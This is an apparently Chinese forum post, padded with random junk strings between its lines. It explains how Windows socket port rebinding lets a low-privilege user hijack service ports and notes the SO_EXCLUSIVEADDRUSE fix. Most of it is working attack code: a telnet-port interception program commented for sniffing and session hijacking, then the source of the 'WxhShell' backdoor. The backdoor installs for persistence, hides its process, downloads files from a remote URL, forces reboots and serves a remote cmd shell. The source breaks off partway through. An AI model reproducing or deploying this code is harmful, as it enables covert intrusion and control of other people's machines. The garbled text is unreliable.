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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sm-nb*ZyC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B$7lL <1hwXo saddr.sin_family = AF_INET; ntjUnd&v\ +[cm saddr.sin_addr.s_addr = htonl(INADDR_ANY); oiklRf K<V(h#(.@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F2XXvxG iA%3cpIc(Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & ??)gMM[ t[#`%$%' 这意味着什么?意味着可以进行如下的攻击: PZ"xW0"- %.Mtn%:I* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0ai4%=d- {(t (}-:Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f(9w FT h>\}-|Ek 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !FO92 P16 0wOgQ n 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dso\+s zO!`sPP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A]R"C:o BL]^+KnP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S?D2`b ^%\p; yhL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RI%*5lM8; P~?u2,.E[ #include A@`C<O ^ #include =r
GkM.^ #include YXBS!89m #include $-o 39A# DWORD WINAPI ClientThread(LPVOID lpParam); G"J6X e int main()
I2zSoQ1P { Jq.26I= WORD wVersionRequested; #{N#yReh DWORD ret; \Z)'':},C WSADATA wsaData; u |#ruFR BOOL val; vnIxI a SOCKADDR_IN saddr; J :, SOCKADDR_IN scaddr; DrW]`%Ql int err; FxD" z3D SOCKET s; z.{yVQE SOCKET sc; b5yb~;0 int caddsize; );=JoRQ{ HANDLE mt; }p&aI?-B DWORD tid; %S@XY3jZY wVersionRequested = MAKEWORD( 2, 2 ); W>+<r9Rt4 err = WSAStartup( wVersionRequested, &wsaData ); t7lRMCN
if ( err != 0 ) { ukri7 n* printf("error!WSAStartup failed!\n"); Q>||HtF$A return -1; :?lSa6de } Ot v{#bB$ saddr.sin_family = AF_INET; +y -:(aP &(wik#S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |/rBR!kPq O:D`6U+0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )Q9J, saddr.sin_port = htons(23); R|tjvp-[} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qf
]ax!bK { ab
2V.S printf("error!socket failed!\n"); 6`EyzB%.$ return -1; ~lQ]PKJ" } .i`+} @iA val = TRUE; R[o KhU //SO_REUSEADDR选项就是可以实现端口重绑定的 tXfB.[U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k
\]@ { $k}+,tHtJO printf("error!setsockopt failed!\n"); 6:QJ@j\ return -1; y*_g1q$ } HaLEQ73 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >N44&W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -BNW\]} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \QYs(nm?k K@W~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yUBic~S { >Utn[']~ ret=GetLastError(); nj)M$' printf("error!bind failed!\n"); 4yjAi@ /2 return -1; }8 ,b;Q } R-Uj\M> listen(s,2); .'>r?%a while(1) #16)7 { %K?~$;Z. caddsize = sizeof(scaddr); jj.)$|` //接受连接请求 NcqE)"yObo sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R?^FO:nM%! if(sc!=INVALID_SOCKET) ?c(f6p?% { gTiDV{Ip mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c1b@3 if(mt==NULL) l--xq^,`o] { 5wr0+Xo printf("Thread Creat Failed!\n"); /V:%}Z break; R"K{@8b } {hVSVx8ZL } :B)w0 tVw CloseHandle(mt); m_U__CZ}Tt } 0vDP-qJV- closesocket(s); ]+ug:E{7 WSACleanup(); Bqa%L.N2SS return 0; B*K%&w10~ } oM QH-\(} DWORD WINAPI ClientThread(LPVOID lpParam) O^|,Cbon6 { q0SvZw]f1 SOCKET ss = (SOCKET)lpParam; C$M^<z SOCKET sc; r=8]Ub[ unsigned char buf[4096]; V?5QpBKI SOCKADDR_IN saddr; 4jO~kcad long num; A#LK2II^ DWORD val; Xs*~[k' DWORD ret; Z
A7u66 //如果是隐藏端口应用的话,可以在此处加一些判断 C[ <&%=
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 o]PSyVg saddr.sin_family = AF_INET; nvgo6* saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ab8~'<F$B saddr.sin_port = htons(23); t55CT6Se if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6'|J
; { S &cH1QZ printf("error!socket failed!\n"); [Zi\L>PHO return -1; D)4p8-=t } st'Y j val = 100; TDy@Y>
) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oa1&9 { (|h<{ -L ret = GetLastError(); >p2v"X X return -1; tgc&DT;E } uqX"^dn4u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \MK)dj5uUJ { T|ZT&x$z ret = GetLastError(); ~F
uD6f return -1; CDoZv"" } pl|<g9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SS(jjpe&, { {%b>/r printf("error!socket connect failed!\n"); +-
c#UO> closesocket(sc); /xj'Pq((}p closesocket(ss); FSc730rM return -1; I{B8'n{cN } 9Ni$nZN while(1) LPewo AXO { |;9OvR> A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bZERh:%o //如果是嗅探内容的话,可以再此处进行内容分析和记录 kX5v!pm[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ag[ yM num = recv(ss,buf,4096,0); c\]h YKA if(num>0) 4>$>XL1 send(sc,buf,num,0); *N< 22w else if(num==0) 78y4nRQ* break; /rKrnxw num = recv(sc,buf,4096,0); >:KPvq!0 if(num>0) $].< / send(ss,buf,num,0); 3P I{LU else if(num==0) eEezd[p break; 'X@j } T~`m'4"+c closesocket(ss); sL+/Eeb` c closesocket(sc); j31
Sc3vG return 0 ; &eK8v]|"W } <Pg.N ]*I&104{ CQ#p2 ========================================================== Q9FY.KUM 1=W>zC 下边附上一个代码,,WXhSHELL vseuk@> \T<?=A ========================================================== oNl_r: G ]>*Z 1g; #include "stdafx.h" 7NoB F0Rk[GM #include <stdio.h> AR/`]"' #include <string.h> YujhpJ< #include <windows.h> )jCAfdnCs #include <winsock2.h> !3?HpR/nV #include <winsvc.h> Eh8.S)E #include <urlmon.h> MLId3#Q 0&c12W|B<L #pragma comment (lib, "Ws2_32.lib") won%(n,HT #pragma comment (lib, "urlmon.lib") 3mr9}P9; IuB0C!' #define MAX_USER 100 // 最大客户端连接数 70*Y4'u}A #define BUF_SOCK 200 // sock buffer /':kJOk<[ #define KEY_BUFF 255 // 输入 buffer )P\ec RUSBJsMB #define REBOOT 0 // 重启 LI"ghz=F #define SHUTDOWN 1 // 关机 95?$O~I CbI[K| #define DEF_PORT 5000 // 监听端口 L[Tr"BW AGS?<6W- #define REG_LEN 16 // 注册表键长度 F7cv`i?2." #define SVC_LEN 80 // NT服务名长度 0alm/or n uhKM.a{ // 从dll定义API ]NG`MZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ol D]*=.cO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d,+d8X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ] 6M- s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |c dQJW F0+ u#/# // wxhshell配置信息 r5tv9#4] struct WSCFG { q\[f$==p int ws_port; // 监听端口 ^'6!)y# char ws_passstr[REG_LEN]; // 口令 I>b!4?h int ws_autoins; // 安装标记, 1=yes 0=no wUW+S5"K char ws_regname[REG_LEN]; // 注册表键名 qmv%N char ws_svcname[REG_LEN]; // 服务名 :hCp@{ char ws_svcdisp[SVC_LEN]; // 服务显示名 zF3fpEKe char ws_svcdesc[SVC_LEN]; // 服务描述信息 %j{gZTz- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3dQV5E. int ws_downexe; // 下载执行标记, 1=yes 0=no vfcj,1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5e6]v2 k char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )TBBYCL3 *:aJlvk }; %Nzg~ZPbmT FF)F%o+:w // default Wxhshell configuration ^MKvZ DOP struct WSCFG wscfg={DEF_PORT, rpQB#
Pz "xuhuanlingzhe", )&;?|X+p 1, =|
%:d:r "Wxhshell", '
DCrSa> "Wxhshell", *'1qA0Xc "WxhShell Service", Fp'k{ "Wrsky Windows CmdShell Service", w8%<O^wN, "Please Input Your Password: ", %q`_vtUT 1, E,>/6AU " http://www.wrsky.com/wxhshell.exe", Vf`1'GY "Wxhshell.exe" w|OMT>. }; )F8G q, `h+ sSIko // 消息定义模块 )k.;.7dXe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hg/G7Ur" char *msg_ws_prompt="\n\r? for help\n\r#>"; ?;ZTJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; -WWa`,: char *msg_ws_ext="\n\rExit."; Pa'g=- char *msg_ws_end="\n\rQuit."; #tRLvOR: char *msg_ws_boot="\n\rReboot..."; k id3@ char *msg_ws_poff="\n\rShutdown..."; MRMswNQ char *msg_ws_down="\n\rSave to "; "M3R}<Vt Jlj=FA` char *msg_ws_err="\n\rErr!"; G&I\Za; char *msg_ws_ok="\n\rOK!"; ps\A\aggML vUk <z* char ExeFile[MAX_PATH]; m-xSF]q=< int nUser = 0; qL/4mM0 HANDLE handles[MAX_USER]; suC] int OsIsNt; K?+iu|$& R4.$9_ui SERVICE_STATUS serviceStatus; swss#?.se SERVICE_STATUS_HANDLE hServiceStatusHandle; (j@3=-%6 G $!h21 // 函数声明 :G=N|3 int Install(void); B[%FZm $`M int Uninstall(void); ^oDC F int DownloadFile(char *sURL, SOCKET wsh); j"{|* _6E_ int Boot(int flag); Q*u4q-DE void HideProc(void); F'^6ra9 int GetOsVer(void); 3J%(2}{y int Wxhshell(SOCKET wsl); uH!uSB2 void TalkWithClient(void *cs); Cbv$O o* int CmdShell(SOCKET sock); %C^U?m` int StartFromService(void); A\nL(Nd int StartWxhshell(LPSTR lpCmdLine); ZV=O oLt, 8 h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y3KKskhLx VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1Tz5tU9kR .-2i9Bh6 // 数据结构和表定义 SEu1M}+E SERVICE_TABLE_ENTRY DispatchTable[] = \wwY?lOe { -T3 z@k {wscfg.ws_svcname, NTServiceMain}, pB*8D {NULL, NULL} pxy=edd }; <mN.6@*{ VUAW/
// 自我安装 /qM:;:N%j int Install(void) wq+% O, { GG@GjP<_ char svExeFile[MAX_PATH]; *Y'nDv6_P HKEY key; D_mdX9-~ strcpy(svExeFile,ExeFile); 6%?bl{pNn r$7fw}'I // 如果是win9x系统,修改注册表设为自启动 GF]V$5.ps if(!OsIsNt) { BSU%.tmI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]'+PJdA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QCjC|T9 RegCloseKey(key); =qG%h5]n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0*7N= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;>%@ RegCloseKey(key); Z{&dzc return 0; za$v I?ux } O)v?GQRj } +$_.${uwV } N<XS-XB, else { ,n)f=q*% ;QZ}$8D 6Q // 如果是NT以上系统,安装为系统服务 }_,1i3Rip SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +Wgp~$o4 if (schSCManager!=0) dZ]['y% { }C6RgE.6< SC_HANDLE schService = CreateService jNjm}8`t ( Yu1[`QbB schSCManager, Z]VmTB wscfg.ws_svcname, /O@TqH wscfg.ws_svcdisp, '8RBR%)y SERVICE_ALL_ACCESS, ,dyCuH!B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~%.<rc0 SERVICE_AUTO_START,
*SP@`)\D SERVICE_ERROR_NORMAL, uB&um*DP svExeFile, 4o|-v NULL, FR5P;Yz%H NULL, ^)wTCkH&y NULL, #H8% BZyV NULL, 3y9R1/! NULL M9*#8> ); u(kacQ7 if (schService!=0) wgETL|3- { #Cy9E"lP CloseServiceHandle(schService); DAvF ND$= CloseServiceHandle(schSCManager); 4xYW?s( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vZ0K1UTEXY strcat(svExeFile,wscfg.ws_svcname); DERhmJ;>H if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L'A>IBrz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j*7#1<T RegCloseKey(key); /);S?7u. return 0; ZjB]pG+ } C*C;n4 AT } Gt|m;o CloseServiceHandle(schSCManager); 8?
U!PW } f[wA]& } IH2V.>h 45
\W%8 return 1; gL/D| = } x@aWvrL ,JU3w // 自我卸载 Lo{g0~?x* int Uninstall(void) <F%c"Rkh { s%Y8;D,~+ HKEY key; &[Zg;r Fk4T>8q2; if(!OsIsNt) { p)k5Uh" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x 8_nLZ RegDeleteValue(key,wscfg.ws_regname); 3_ P<0% RegCloseKey(key); J]-z7<j'] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =^5,ua6 RegDeleteValue(key,wscfg.ws_regname); 4DTT/ER'qA RegCloseKey(key); yV4rS6= return 0; j=U^+jAn } EvJ<X,Bo } W{l{O1, } L8{4>, else { Q&?^eOI( ahmxbv3f=5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;x|LB>. if (schSCManager!=0) |!?lwBs4 { ={k_
(8] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AK_,$'f if (schService!=0) pH/_C0e`7 { 2E$K='H:, if(DeleteService(schService)!=0) { pl.x_E,HP CloseServiceHandle(schService); h2_A' CloseServiceHandle(schSCManager); p`=v$_]?( return 0; 'u84d=*l } ;/R \!E
CloseServiceHandle(schService); q}r{%ypf } %s),4 CloseServiceHandle(schSCManager); #!>QXiyR } HbZFL*2x3 } FE4P
EBXvu szw|`S>o return 1; ,w|Or}h]7 } Lyy:G9OV LKsK!X // 从指定url下载文件 RemjiCE0' int DownloadFile(char *sURL, SOCKET wsh) ZQI;b0C { l\"wdS} HRESULT hr; K4vOy_wT char seps[]= "/"; iw =~j char *token; E(miQ char *file; ltg\x8w?c char myURL[MAX_PATH]; 'XP char myFILE[MAX_PATH]; n h&[e )n{9*{Ch strcpy(myURL,sURL); f|NWn`#bY token=strtok(myURL,seps); 3(
o~|% while(token!=NULL) ^"GDaMF { 7Rl/F1G o} file=token; a?]~Sw"@ token=strtok(NULL,seps); W+'f|J= } ?!;i/h*{ ?O.'_YS GetCurrentDirectory(MAX_PATH,myFILE); xv9G% strcat(myFILE, "\\"); N D1'XCN strcat(myFILE, file); /"
6Gh' send(wsh,myFILE,strlen(myFILE),0); LjY@b send(wsh,"...",3,0); `^'0__<M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #]}]ZE if(hr==S_OK) Xp?WoC N return 0; 5-.{RU= else ~^v*f return 1; E-L>.tD r[4dGt } <qjolMO` #|^yWw^ // 系统电源模块 .&;:X ) int Boot(int flag) <ql:n { +1>\o|RF HANDLE hToken; sHm:G_ TOKEN_PRIVILEGES tkp; i/aj;t <I.{meDg if(OsIsNt) { a8cX{6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >e^8fpgSo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KD73Aw tkp.PrivilegeCount = 1; \$Aw[
5&t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n{E9p3i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K(heeZUt if(flag==REBOOT) { o>MB8[r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TykY> cl
return 0; A}MF>.!}C } OJ,Z else { `V=F>s$W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pL`)^BJ return 0; f (ug3(j } i?IV"*Ob1N } 6;p"xC- else { =e| if(flag==REBOOT) { eDL0Vw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) of0hJR return 0; <-N7Skkk! } MURHv3 else { laA3v3* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uV\~2#o$_ return 0; =`MMB|{6 } EBx!q8zz } v0,&wdi T74."Lo# return 1; ?oulQR6: } k*o>ZpjNH {z*`*
O@ // win9x进程隐藏模块 [J+]1hCZ| void HideProc(void) qY|NA)E)Bp { 6d%)MEM oPC
qv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W2 4n%Ps if ( hKernel != NULL ) A=l1_8,`h { kd+tD!:F( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8e}8@[h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %\?Gzc_ FreeLibrary(hKernel); ah|`),o(k } ;%Rp=&J xT;j_'9U; return; y>|AX/n } )ioIn`g^- axLO: Q, // 获取操作系统版本 0uO<7IW9 int GetOsVer(void) 9<6Hs3|.! { /<it2= OSVERSIONINFO winfo; u,),kj< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uW^ W/S%' GetVersionEx(&winfo); n8 e4`-cY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b@yFqgJ_ return 1; ]-tAgNzl% else bZi;jl return 0; ff<adl- } f f_| 3G -[-Ry6G // 客户端句柄模块 dX;G[\ int Wxhshell(SOCKET wsl) [Se0+\,& { Z=CY6Zu7 SOCKET wsh; 2mVLR;s{_ struct sockaddr_in client; ybgAyJ{J< DWORD myID; Oky9GC.a TM?7F2 while(nUser<MAX_USER) Ehf3L |9 { E!v^j=h$u int nSize=sizeof(client); ~L=Idt!9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rhil]|a/ if(wsh==INVALID_SOCKET) return 1; z]F4Z'(e. ?UV^6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O4w:BWVsn if(handles[nUser]==0) 4E.K6=k|=a closesocket(wsh); y6!Zt}m else
gC}D0l[ nUser++; n*U+jc } 7+^4v(s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PM!7ci a?QDf5Cq return 0; g&6O*vx } ~ E|L4E zPT!Fa` // 关闭 socket ewb/Z[4 void CloseIt(SOCKET wsh) 4yu ^cix( { smt6).o closesocket(wsh); lj o^ 2 nUser--; 'L0{Ed+9 ExitThread(0); M:OJL\0 } ^>f jURR wc5OK0| // 客户端请求句柄 Y8yRQz u void TalkWithClient(void *cs) ,Cckp! 6 { $@blP<I ^"d!(npw SOCKET wsh=(SOCKET)cs; Aa;s.:? char pwd[SVC_LEN]; g)Byd\DS char cmd[KEY_BUFF]; zu
Jl #3YP char chr[1]; t"@:a
Y" int i,j;
n|oAfJUk, tT;=l[7% while (nUser < MAX_USER) { cn4CK.? hp E? if(wscfg.ws_passstr) { "A_WU| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O}!L;? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hL,+wJ+A //ZeroMemory(pwd,KEY_BUFF); *QF3l0& i=0; ( |1 $zF+ while(i<SVC_LEN) { L:y}
L Zbp ByRyN // 设置超时 EMe6Z!k fd_set FdRead; 2>l:: 8Pp struct timeval TimeOut; 1;l&ck-Gg/ FD_ZERO(&FdRead); QJ
ueU%| FD_SET(wsh,&FdRead); $e|G#mMd- TimeOut.tv_sec=8; %&yD^q_ TimeOut.tv_usec=0; "b!QE2bRO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [Pdm1]":( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pX]*&[X? ?zKVXK7}0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FV/X&u8~ pwd =chr[0]; Y'n TyH if(chr[0]==0xd || chr[0]==0xa) { ]rDf3_!m( pwd=0; EO,;^RtB break; 0C}7=_? } l|ZwZix i++; Lrr^obc } qB_MDA qoMYiF}/e // 如果是非法用户,关闭 socket aI|<t^X if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `OnN12` } r +;C}[E 6:B[8otQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J?-"]s`J send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e+=Oj o# g?M\Z"; while(1) { /40Z-'Bl=( nD.4c-hd$q ZeroMemory(cmd,KEY_BUFF); H!&]Di1Eh b^PYA_k-Xn // 自动支持客户端 telnet标准
:XF;v j=0; @4h .? while(j<KEY_BUFF) { MyuFZ7Q4$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' R~x.NM cmd[j]=chr[0]; _U$d.B'*)z if(chr[0]==0xa || chr[0]==0xd) { <!&nyuSz cmd[j]=0; El0|.dW break; GS~jNZx } E/LR(d_ j++; !yH&l6s } Hw<t>z
k gOO\` # // 下载文件 8:-[wl/@ if(strstr(cmd,"http://")) { _=j0Y=/IF send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1I KDp]SN if(DownloadFile(cmd,wsh)) *gu~7&yoP send(wsh,msg_ws_err,strlen(msg_ws_err),0); eUVE8pZl else vhZpYW8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }9>W41 } G(|ki9^@"9 else { Q9X_aB0 &iL"=\# switch(cmd[0]) { $PstThM
6I72;e^! // 帮助 +QuaQ% lA case '?': { (<(8(}x send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vz,l{0v break; Tw`^ } ~DhYiOSo // 安装 G*mk 19Z case 'i': { yFshV\ if(Install()) {G/4#r
2> send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?W9$= else ]U! ?{~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7
\!t/< break; TNUzNA } -2w\8]u // 卸载 ,S2D/Y^> case 'r': { t@>Uc`% if(Uninstall()) !CTchk<{( send(wsh,msg_ws_err,strlen(msg_ws_err),0); BE:HO^-.1 else uYhm
F p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !GURn1vcAe break; ,*Tf9=z } .4^Ep\\ // 显示 wxhshell 所在路径 lSUEE0V%Q case 'p': { Im+<oZ char svExeFile[MAX_PATH]; >jME
== U0 strcpy(svExeFile,"\n\r"); H@qA X strcat(svExeFile,ExeFile); `!kOyh:X send(wsh,svExeFile,strlen(svExeFile),0); T'
%TMA break; z^T/kK3I } p}.L]Y // 重启 'mp@!@_
case 'b': { 7MZBU~,r send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Gp/^[.%& if(Boot(REBOOT)) B?`Gs^Y{z send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Olg
lUzA else { uK6R+a closesocket(wsh); [ma'11?G ExitThread(0); z8G1[ElY } zp:kdN7!^ break; 5f(yF } +)h *) // 关机 @#hd8_)A. case 'd': { y4PR&^l?g send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eY)ugq>' if(Boot(SHUTDOWN)) ]B/Gz send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU=qr&f"B else { rkugV&BhV closesocket(wsh); :hr% 6K7 ExitThread(0); `w` f[dU- } i t.Lh'N;T break; tPB r{ } B+[ri&6X\ // 获取shell XP'<\ case 's': { b;G3&R] CmdShell(wsh); Q>Voa&tYn closesocket(wsh); iZ}Afj ExitThread(0); Hof@,w break; vik A
} 3tzb@T // 退出 Q#w mS&$f case 'x': { ySAkj-< /P send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }%Mj`Bh CloseIt(wsh); oS6dcJHf break; B3|h$aKC } A#;6~f // 离开 6a6;]lsG case 'q': { HHVCw7r0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); +yYxHIOZ( closesocket(wsh); HYU-F_|N=
WSACleanup(); t|-TG\Q X exit(1); 7[z^0?Pygf break; `#@#eZ } [PG#5.jwQ } m}Xb #NAF8 } :{sy2g/+ #J=^CE // 提示信息 BNi6I\wa if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X!H[/b:1O } 8xf]zM"Q } ^97u0K3$ t&|M@Ouet return; QguRU|y } 9dS <^E(ZF 3DjlX* // shell模块句柄 1. A@5* Q int CmdShell(SOCKET sock) @yV.Yx"p_ { yM,.{m@F< STARTUPINFO si; zXX=WH ZeroMemory(&si,sizeof(si)); 7`xeuK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ljzw@k si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A-"2 sp*t PROCESS_INFORMATION ProcessInfo; PmjN!/ char cmdline[]="cmd"; Dh+<|6mx CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xWRkg$A return 0; D[jPz0 } % 9Jx| 9}-;OJe // 自身启动模式 Gx)U~L$B int StartFromService(void) MZIZ"b { `@<>"ff#F typedef struct gn-@OmIs { ]g] ]\hS DWORD ExitStatus; $sILCn DWORD PebBaseAddress; d\O*Ol*/v DWORD AffinityMask; =w !>/#U DWORD BasePriority; >DM^/EAG{ ULONG UniqueProcessId; $I0&I[_LzK ULONG InheritedFromUniqueProcessId; oaac.7.fV } PROCESS_BASIC_INFORMATION; }[;{@Zn Wf!u?nH.5 PROCNTQSIP NtQueryInformationProcess; hQb3 8W[ ]0o_-
